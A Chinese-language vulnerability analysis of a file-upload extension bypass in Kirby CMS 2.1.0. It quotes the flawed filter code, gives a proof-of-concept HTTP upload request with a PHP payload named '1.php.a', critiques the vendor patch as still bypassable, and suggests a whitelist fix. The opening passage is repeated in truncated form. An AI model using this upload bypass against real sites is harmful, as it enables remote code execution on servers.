##1.漏洞分析 漏洞程序下载地址: http://download.getkirby.com/files/kirby-2.1.0.zip panel/app/controllers/api/files.php 220行 ```php if(strtolower($file->extension()) == kirby()->option('content.file.extension', 'txt')) { throw new Exception('Content files cannot be uploaded'); } else if(strtolower($file->extension()) == 'php' or in_array($file->mime(), f::$mimes['php'])) { throw new Exception('PHP files cannot be uploaded'); } else if(strtolower($file->extension()) == 'html' or $file->mime() == 'text/html') { throw new Exception('HTML files cannot be uploaded'); } else if(strtolower($file->extension()) == 'exe' or $file->mime() == 'application/x-msdownload') { throw new Exception('EXE files cannot be uploaded'); } else if(strtolower($file->filename()) == '.htaccess') { throw new Exception('htaccess files cannot be uploaded'); } else if(str::startsWith($file->filename(), '.')) { throw new Exception('Invisible files cannot be uploaded'); ... 返回后缀函数,很简单的绕过 static public function extension($file,...
##1.漏洞分析 漏洞程序下载地址: http://download.getkirby.com/files/kirby-2.1.0.zip panel/app/controllers/api/files.php 220行 ```php if(strtolower($file->extension()) == kirby()->option('content.file.extension', 'txt')) { throw new Exception('Content files cannot be uploaded'); } else if(strtolower($file->extension()) == 'php' or in_array($file->mime(), f::$mimes['php'])) { throw new Exception('PHP files cannot be uploaded'); } else if(strtolower($file->extension()) == 'html' or $file->mime() == 'text/html') { throw new Exception('HTML files cannot be uploaded'); } else if(strtolower($file->extension()) == 'exe' or $file->mime() == 'application/x-msdownload') { throw new Exception('EXE files cannot be uploaded'); } else if(strtolower($file->filename()) == '.htaccess') { throw new Exception('htaccess files cannot be uploaded'); } else if(str::startsWith($file->filename(), '.')) { throw new Exception('Invisible files cannot be uploaded'); ... 返回后缀函数,很简单的绕过 static public function extension($file, $extension = false) { // overwrite the current extension if($extension) return static::name($file) . '.' . $extension; // return the current extension return strtolower(pathinfo($file, PATHINFO_EXTENSION)); } ``` 检测PHP文件的方式,只是看文件的后缀名是否为php,或文件的MIME类型被定义为PHP。满足条件其一,KirbyCMS就停止上传功能。 ##2.漏洞利用 需要后台登录的权限才能上传文件 上传1.php.a这种格式的文件 在apache中仍然作为php文件解析 上传文件数据包 ``` POST /panel/api/files/upload/home HTTP/1.1 Host: kirby2.1.0 Content-Length: 213 Accept: application/json Cache-Control: no-cache Origin: http://kirby2.1.0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.99 Safari/537.36 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryuAZ3Byn3B4FDJZjz Referer: http://kirby2.1.0/panel/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8,zh-CN;q=0.6,zh;q=0.4,zh-TW;q=0.2,und;q=0.2 Cookie: PHPSESSID=1dc49bc2b3744ac9529cb013ba726eb8; kirby=464ce9f291f08fcb22b290bbf55d6efa27155a70%2BJFYrlZyO3hF5436oAQoMjglN9cUwBb48Ko9cZ8hkBi2DfED4sS4RMMiEcuW9BFEN ------WebKitFormBoundaryuAZ3Byn3B4FDJZjz Content-Disposition: form-data; name="file"; filename="1.php.a" Content-Type: application/x-php <?php phpinfo(); ?> ------WebKitFormBoundaryuAZ3Byn3B4FDJZjz-- ``` ##3.漏洞修复 panel/app/controllers/api/files.php 220行 ```php else if(strtolower($file->extension()) == 'php' or or str::contains($file->extension(), 'php') or in_array($file->mime(), f::$mimes['php'])) { ``` 增加了str::contains($file->extension(), 'php') 的判断 来看看这函数的功能 kirby/toolkit/lib/str.php 422行 ```php static public function contains($str, $needle, $i = true) { if($i) { $str = static::lower($str); $needle = static::lower($needle); } return strstr($str, $needle) ? true : false; } ``` 然而这个函数也只是对比后缀中是否存在php而已,但是由于获取后缀的函数存在问题。 1.php.a 它获取的是a 而不是php.a 所以最新版本的仍然可以绕过。 临时补丁: 上传应该采用白名单的形式并对上传的目录去掉执行权限 定义一个array白名单 判断后缀是否在其中